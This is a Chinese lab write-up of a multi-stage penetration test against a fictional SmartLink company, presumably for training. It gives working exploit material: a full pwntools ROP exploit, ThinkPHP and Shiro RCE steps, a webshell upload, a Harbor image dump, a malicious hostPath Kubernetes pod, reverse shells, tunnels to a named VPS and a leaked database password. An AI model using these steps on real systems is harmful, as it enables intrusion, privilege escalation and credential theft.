靶标介绍 在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务,然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务,从而控制整个内部网络。靶场中共设置了6个Flag,它们分布在不同的靶机上,您需要找到并获取这些 Flag 作为您的成就目标。
thinkphp 172.28.23.17 信息收集 首先使用 fscan 对目标进行信息收集,扫描端口信息如下:
通过 fscan 扫描发现 8080 端口是 thinkphp 框架,并且存在 5.0.23 版本的 RCE 漏洞。
其中 80 为静态的门户网站:
8080 端口为一个登录页面:
这里我们探测是否是 thinkphp 框架开发的系统,在URL 地址后面添加如下参数:
可以看到成功报错,并回显出了相关版本信息。
漏洞利用 使用工具进行检测,发现存在 tp5 的 RCE。
尝试进行命令执行(虽说没有直接在工具回显,但是在工具的日志中也返回了相应的执行结果),确定漏洞存在。
使用进行 getshell。
使用中国蚁剑进行连接
在根目录下发现了第一个 FLAG。
获取交互式 shell 首先使用在线网站生成兼容性的反弹 shell 命令,接着在 vps 监听相应的端口,最后在中国蚁剑的虚拟终端上执行反弹 shell 命令。
获取交互式的 shell:
1 2 3 4 5 python3 -c "import pty;pty.spawn('/bin/bash')" export TERM=xtermCTRL + Z stty raw -echo ; fg stty rows 38 columns 116
依次执行如上命令即可:
主机信息收集 查看当前网卡信息:
发现是单网卡,使用 fscan 对当前 C 段进行主机存货以及端口扫描
1 nohup ./fscan -h 172.28.23.0/24 &
当前网段存活三台主机,其中 172.28.23.33 的 8080 端口存在 actuator heapdump 文件泄露。
接下来进行代理隧道搭建。
隧道搭建 这里搭建隧道使用的 GitHub 开源项目为:Stowaway 。
首先在 vps 上启动启动 admin 端:
1 ./linux_x64_admin -l 9999
接着将 agent 端上传至 /tmp目录下并启动连接到 admin 端。
连接 admin 端。
1 nohup ./linux_x64_agent -c 120.48.128.24:9999 &
接着回到 admin 端进行查看发现已经存在 node 节点。
进入到该节点并设置 socks5 代理端口。
第一层内网 智联ERP 172.28.23.33 设置代理 浏览器使用 socks5 代理
访问内网的 http://172.28.23.33:8080
信息收集 发现登录页面存在 “记住我”功能,尝试进行抓取登录的数据包,在 burp 中设置 sock5 代理,浏览器直接使用 burp 的代理即可。
响应包存在 rememberMe=deleteMe 字段,判断使用了 Shiro 框架。
Shiro 漏洞利用 结合前面 fscan 扫描的 actuator heapdump 文件进行利用,先从 heapdump 获取敏感信息如 数据库的连接密码、AK/SK 等。该文件主要是 Spring 项目中 application.yml 文件的相关配置以及其他堆内存信息。
将文件下载之后,使用 JDumpSpider 对文件进行解析
1 java -jar JDumpSpider-1.1-SNAPSHOT-full.jar ~/Downloads/heapdump > ~/Downloads/heapdump.txt
从中发现了 Shiro 的 Key 以及加密方式和模式。
由于该系统处于内网当中,因此需要先设置代理,然后输入相应的 URL 以及密钥 勾选 AES GCM。
获取到构造链之后,尝试执行命令:
执行成功,直接注入哥斯拉内存马。
这里可以看下注入内存马的数据包:
由于 Cookie 字段的长度有限制,故而这里通过 POST 请求发送了一部分 Payload(面试的时候可能会问哦~)。
连接内存马 由于该系统是不出网的,反弹 shell 到外网基本是不可能的,因此直接使用哥斯拉的 shell 了。
哥斯拉直接也是需要设置代理的,当然也可以使用 proxifier 统一设置,但是我不习惯。
执行 id 命令发现当前用户的 uid 是 1000,表示当前用户是运维手动创建的。
但是查看其登录 shell 发现是不可登录,不过在这里发现了该用户的家目录。
进入到家目录发现该目录下有一个 HashNote 的 Linux 可执行文件。
查看其端口开放情况,发现其开放一个高端口:
这里的话就是存在一个二进制服务,HashNote 是给的二进制文件, pwn✌️的专场了,这里我们直接去网上找 exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context.arch='amd64' def add (key,data='b' ): p.sendlineafter(b'Option:' ,b'1' ) p.sendlineafter(b'Key:' ,key) p.sendlineafter(b'Data:' ,data) def show (key ): p.sendlineafter(b'Option:' ,b'2' ) p.sendlineafter(b"Key: " ,key); def edit (key,data ): p.sendlineafter(b'Option:' ,b'3' ) p.sendlineafter(b'Key:' ,key) p.sendlineafter(b'Data:' ,data) def name (username ): p.sendlineafter(b'Option:' ,b'4' ) p.sendlineafter(b'name:' ,username) p = remote('172.28.23.33' , 59696 ) username=0x5dc980 stack=0x5e4fa8 ukey=b'\x30' *5 +b'\x31' +b'\x44' fake_chunk=flat({ 0 :username+0x10 , 0x10 :[username+0x20 ,len (ukey),\ ukey,0 ], 0x30 :[stack,0x10 ] },filler=b'\x00' ) p.sendlineafter(b'name' ,fake_chunk) p.sendlineafter(b'word' ,'freep@ssw0rd:3' ) add(b'\x30' *1 +b'\x31' +b'\x44' ,b'test' ) add(b'\x30' *2 +b'\x31' +b'\x44' ,b'test' ) show(ukey) main_ret=u64(p.read(8 ))-0x1e0 rdi=0x0000000000405e7c rsi=0x000000000040974f rdx=0x000000000053514b rax=0x00000000004206ba syscall=0x00000000004560c6 fake_chunk=flat({ 0 :username+0x20 , 0x20 :[username+0x30 ,len (ukey),\ ukey,0 ], 0x40 :[main_ret,0x100 ,b'/bin/sh\x00' ] },filler=b'\x00' ) name(fake_chunk.ljust(0x80 ,b'\x00' )) payload=flat([ rdi,username+0x50 , rsi,0 , rdx,0 ,0 , rax,0x3b , syscall ]) p.sendlineafter(b'Option:' ,b'3' ) p.sendlineafter(b'Key:' ,ukey) p.sendline(payload) p.sendlineafter(b'Option:' ,b'9' ) p.interactive()
刚刚发现开放了 22 端口,因此我们这里写入 SSH 公钥,将 id_rsa.pub 文件的内容写入到服务器的 /root/.ssh目录下,文件名称修改为 authorized_keys即可。
SSH 直接连接即可。
主机信息收集 查看该主机的网卡信息,发现存在两张网卡。后续可以对 172.22.10.0/24 段进行深入。
新翔OA 172.28.23.26 登录逻辑权限 前面信息收集发现第一层内网还存在着新翔 OA 的 web 服务,我们来看下当时的扫描结果。
80 端口存在 OA web 服务,21 端口存在 FTP 的匿名用户登录(用户 ftp 或 anonymous,密码随意输入)
在 FTP 服务中发现疑似 OA 系统的源码,在 FTP 连接中使用 get OASystem.zip 命令下载即可。
对登录页面进行简单的尝试之后无果,于是查看源码,这里的登录逻辑很随意,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function islogin ( ) { if (isset ($_COOKIE ['id' ])&&isset ($_COOKIE ['loginname' ])&&isset ($_COOKIE ['jueseid' ])&&isset ($_COOKIE ['danweiid' ])&&isset ($_COOKIE ['quanxian' ])){ if ($_COOKIE ['id' ]!='' &&$_COOKIE ['loginname' ]!='' &&$_COOKIE ['jueseid' ]!='' &&$_COOKIE ['danweiid' ]!='' &&$_COOKIE ['quanxian' ]!='' ){ return true ; } else { return false ; } } else { return false ; } } ?>
构造 Cookie: id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1 即可进入到首页,这里借助 CookieEdit 插件,通过 key=value 的形式直接导入即可。
文件上传 getshell 在源码中发现一个 uploadbase64.php文件,其代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $img = $_POST ['imgbase64' ];if (preg_match ('/^(data:\s*image\/(\w+);base64,)/' , $img , $result )) { $type = "." .$result [2 ]; $path = "upload/" . date ("Y-m-d" ) . "-" . uniqid () . $type ; } $img = base64_decode (str_replace ($result [1 ], '' , $img ));@file_put_contents ($path , $img ); exit ('{"src":"' .$path .'"}' );
其实就是一个文件上传功能,对我们传入的 imgbase64 参数的值做了一些限制,限制很简单,如果不懂的话可以 AI 一下。
利用如下:
使用蚁剑进行连接(这里需要为蚁剑设置 socks5 代理)
打开虚拟终端执行命令的时候发现执行不了
执行 phpinfo 查看函数禁用,发现存在函数禁用
使用蚁剑的插件 disable_functions 绕过函数禁用成功执行命令
在根目录发现 flag 仅 root 用户可读
使用 find 命令检索存在 suid 的命令,发现 base32 存在 sudi 权限,使用高权限的命令读取 flag02.txt 的内容,然后对其进行解码得到 flag。
主机信息收集 查看该主机的网卡信息,发现存在两张网卡,后续可以对 172.22.14.0/16 段进行深入。
第二层内网 新翔OA 系统深入 获取交互式 shell 由于这里的终端是非交互式 shell 的,并且该机器不出网,故而我们在 172.28.23.17 上传一个 buysbox 工具,进行 nc 监听。
再次反弹 shell 获取一个可交互式的终端:
接着在该机器上(thinkphp)通过 busybox 执行 nc 命令监听 12345 端口,将 新翔 OA 的 shell 反弹到该机器。
在 oa 服务器上执行如下命令:
来到 thinkphp 服务器此时就已经获得到了 oa 的 shell,将其转为交互式 shell。
网段扫描 接着在 OA 的交互式 shell 先使用 gogo 扫描器进行 172.22.14.0/16 网段的存活扫描。
得到信息如下:
172.22.14.46(80 harbor、22 ssh)
172.22.14.37(22 ssh、2380 未知、10256 notFound、10250 k8s ,6443 k8s-api)
代理搭建 对新翔 OA 的另外一个网卡网段 172.22.14.0/16 进行信息收集,直接上传扫描工具 gogo、fscan 和 代理的 agent 端。
1 chmod +x fscan linux_x64_agent gogo
在我们的 vps 的 Stowaway 上执行 listen 接着输入 10001,此时就会在 thinkphp 服务器上开启 10001 端口,供内网的 agent 进行连接。
接着在 OA 服务器上执行 agent,连接 thinkphp 的 10001 端口。
1 nohup ./linux_x64_agent -c 172.28.23.17:10001 &
此时 node 1 节点已上线
退出当前 node,进入到 node 1 节点,执行 socks 命令,搭建代理端口 6060。
使用内网 6060 代理,访问 thinkphp 服务器地址,发现可以访问。
Harbor 未授权 172.22.14.46
172.22.14.46(80 harbor、22 ssh)
访问界面如下:
该版本的 Harbor 存在未授权搜索、使用 docker 镜像仓库的漏洞(CVE-2022-46463),直接使用脚本:
1 2 3 4 5 6 7 pq python3 harbor.py http://172.22.14.46 [*] API version used v2.0 [+] project/projectadmin [+] project/portal [+] library/nginx [+] library/redis [+] harbor/secret
获取敏感镜像文件
1 pq python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2
w 接着我们将 project/projectadmin 下载下来,查看其数据库连接信息。
1 2 3 4 5 6 7 pq python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2 [+] Dumping : project/projectadmin:latest [+] Downloading : 63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05 [+] Downloading : a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6 [+] Downloading : 70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd [+] Downloading : ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c [+] Downloading : 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c
进入到目录:
1 caches/project_projectadmin/latest/ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c/app
对 jar 包进行反编译,得到数据库的连接配置信息。
1 2 3 4 5 6 7 spring.datasource.url =jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC spring.datasource.username =root spring.datasource.password =My3q1i4oZkJm3 spring.datasource.driver-class-name =com.mysql.cj.jdbc.Driver mybatis.type-aliases-package =com.smartlink.projectadmin.entity mybatis.mapper-locations =classpath:mybatis/mapper/*.xml
k8s api 未授权 172.22.14.37
172.22.14.37(22 ssh、2380 未知、10250 notFound、10250 k8s ,6443 k8s-api
访问 k8s 的 10250 端口,发现不满足条件,是有鉴权的。
关于 k8s 10250 端口未授权的打法可以参考:https://blog.csdn.net/ggqiuhui/article/details/145612643
但是其 6443 端口是没有鉴权的。
关于 k8s api Server 未授权的打法可以参考:https://cloud.tencent.com/developer/article/2415720
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 root@kali-server:~# kube-hunter --remote 172.22.14.37 2024-07-26 23:46:03,959 INFO kube_hunter.modules.report.collector Started hunting 2024-07-26 23:46:03,959 INFO kube_hunter.modules.report.collector Discovering Open Kubernetes Services 2024-07-26 23:46:06,394 INFO kube_hunter.modules.report.collector Found open service "Kubelet API" at 172.22.14.37:10250 2024-07-26 23:46:07,521 INFO kube_hunter.modules.report.collector Found open service "Etcd" at 172.22.14.37:2379 2024-07-26 23:46:09,736 INFO kube_hunter.modules.report.collector Found open service "API Server" at 172.22.14.37:6443 2024-07-26 23:46:10,759 INFO kube_hunter.modules.report.collector Found vulnerability "Unauthenticated access to API" in 172.22.14.37:6443 2024-07-26 23:46:10,770 INFO kube_hunter.modules.report.collector Found vulnerability "K8s Version Disclosure" in 172.22.14.37:6443 2024-07-26 23:46:11,811 INFO kube_hunter.modules.report.collector Found vulnerability "Listing namespaces as anonymous user" in 172.22.14.37:6443 2024-07-26 23:46:12,853 INFO kube_hunter.modules.report.collector Found vulnerability "Listing roles as anonymous user" in 172.22.14.37:6443 2024-07-26 23:46:14,013 INFO kube_hunter.modules.report.collector Found vulnerability "Listing cluster roles as anonymous user" in 172.22.14.37:6443 2024-07-26 23:46:15,127 INFO kube_hunter.modules.report.collector Found vulnerability "Listing pods as anonymous user" in 172.22.14.37:6443 Nodes +-------------+--------------+ | TYPE | LOCATION | +-------------+--------------+ | Node/Master | 172.22.14.37 | +-------------+--------------+ Detected Services +-------------+--------------------+----------------------+ | SERVICE | LOCATION | DESCRIPTION | +-------------+--------------------+----------------------+ | Kubelet API | 172.22.14.37:10250 | The Kubelet is the | | | | main component in | | | | every Node, all pod | | | | operations goes | | | | through the kubelet | +-------------+--------------------+----------------------+ | Etcd | 172.22.14.37:2379 | Etcd is a DB that | | | | stores cluster's | | | | data, it contains | | | | configuration and | | | | current | | | | state | | | | information, and | | | | might contain | | | | secrets | +-------------+--------------------+----------------------+ | API Server | 172.22.14.37:6443 | The API server is in | | | | charge of all | | | | operations on the | | | | cluster. | +-------------+--------------------+----------------------+ Vulnerabilities For further information about a vulnerability, search its ID in: https://avd.aquasec.com/ +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | ID | LOCATION | MITRE CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV005 | 172.22.14.37:6443 | Initial Access // | Unauthenticated | The API Server port | b' {"kind" :"APIVersio | | | | Exposed sensitive | access to API | is accessible. | ns" ,"versions" :["v1" || | | interfaces | | Depending on | ],"serverAddressByCl | | | | | | your RBAC settings | ientCIDRs" :[{"client | | | | | | this could expose | CIDR" :"0.0.0.0/0" ,"s | | | | | | access to or control | ... | | | | | | of your cluster. | | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV002 | 172.22.14.37:6443 | Initial Access // | K8s Version | The kubernetes | v1.16.6-beta.0 | | | | Exposed sensitive | Disclosure | version could be | | | | | interfaces | | obtained from the | | | | | | | /version endpoint | | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing roles as | Accessing roles | ['kubeadm:bootstrap- | | | | the K8S API Server | anonymous user | might give an | signer-clusterinfo', | | | | | | attacker valuable | 'system:controller:b | | | | | | information | ootstrap-signer', | | | | | | | 'extension- | | | | | | | apiserver-... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing pods as | Accessing pods might | [{'name': b'nginx-de | | | | the K8S API Server | anonymous user | give an attacker | ployment-58d48b746d- | | | | | | valuable information | d6x8t', 'namespace': | | | | | | | b'default'}, | | | | | | | {'name': b'nginx- | | | | | | | deploymen... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing namespaces | Accessing namespaces | ['default', 'kube- | | | | the K8S API Server | as anonymous user | might give an | node-lease', 'kube- | | | | | | attacker valuable | public', 'kube- | | | | | | information | system'] | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing cluster | Accessing cluster | ['admin', 'cluster- | | | | the K8S API Server | roles as anonymous | roles might give an | admin', 'edit', | | | | | user | attacker valuable | 'flannel', | | | | | | information | 'system:aggregate- | | | | | | | to-admin', | | | | | | | 'system:aggregate- | | | | | | | to-edit... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+
以上是 h0ny 师傅扫描的结果,而我的结果是这样的:
K8s 集群由于鉴权配置不当,将「system:anonymous」用户绑定到「cluster-admin」用户组,使 6443 端口允许匿名用户以管理员权限向集群内部下发指令。
列出所有的 pod 1 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide
进入到指定的 pod 1 2 3 4 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it nginx-deployment-58d48b746d-q4zh7 -- bash kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it nginx-deployment-58d48b746d-q4zh7 bash
v1.19 之前可以使用旧版本命令,即 bash 前面不用加 – ,之后就需要在其前面加 –。
创建恶意 pod 使用如下配置 evil_pod.yaml创建恶意 Pod,将宿主机的存储将文件或目录挂载到 K8s 集群的 Pod 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 apiVersion: v1 kind: Pod metadata: name: evil-nginx spec: containers: - name: evil-container image: nginx:1.8 volumeMounts: - mountPath: /mnt name: evil-volume volumes: - name: evil-volume hostPath: path: / type: Directory
通过配置文件,创建恶意的 pod:
1 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil_pod.yaml
列出当前 pod:
1 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide
进入到恶意 pod 当中:
1 2 3 4 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it evil-nginx -- bash kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it evil-nginx bash
由于 .bash_history文件被重定向为空,因此我们查看 mysql 的历史记录。
base64 解码之后得到 flag4。
智联 ERP 系统深入 接下来我们 ERP 系统的另外一个网段 172.22.10.0/24 进行深入。
获取交互式 shell 由于这里的终端是非交互式 shell 的,并且该机器不出网,但是该机器是与 OA 和 thinkphp 门户网站是相同的,将 shell 反弹到门户网站即可。
在 ERP 系统上执行命令:
即可获得一个 shell,将其转为交互式 shell。
网段扫描 使用哥斯拉的大文件上传功能,上传相关工具。
接着回到交互式 shell 使用 gogo 命令对网段进行扫描。
发现主机 172.22.10.28 开放了 3306 端口,同时通过在 harbor 下载的镜像 jar 包中找到其连接密码,尝试对其进行连接。
172.22.10.28(3306 mysql,22 ssh,80 Dootask)
第三层内网 代理搭建 由于我们目前没办法直接通往 172.22.10.0/24 网段,但是 ERP 服务器可以,因为我们可以让 ERP 服务器作为 agent 端,而 ERP 可以与 thinkphp 或新翔 OA 互通,因此我们可以选用 thinkphp 门户网站 获 OA 作为 代理的内网 admin 端。
这里我还是选用 thinkphp 作为代理服务器的 admin 端。
ERP 服务器执行如下命令:
1 nohup ./linux_x64_agent -c 172.28.23.17:10002 &
此时 vps 上的 admin 端显示有 node2,进入到该节点,开启代理端口 7070。
该代理可以通往 ERP 的网卡网段:
172.28.23.0/24
172.22.10.0/24
使用测试,发现代理可用。
mysql UDF 172.22.10.28 这里其实有个 web 页面:
使用 proxychains 设置好代理之后连接到数据库,由于我们是 mysql 的 root 用户,并且 secure_file_priv 并没有对文件写入路径做限制,那么我们就可以尝试是否有权限对插件目录进行写入 .so文件。尝试继续 UDF 提权。
这里直接使用 MDUT 工具继续验证。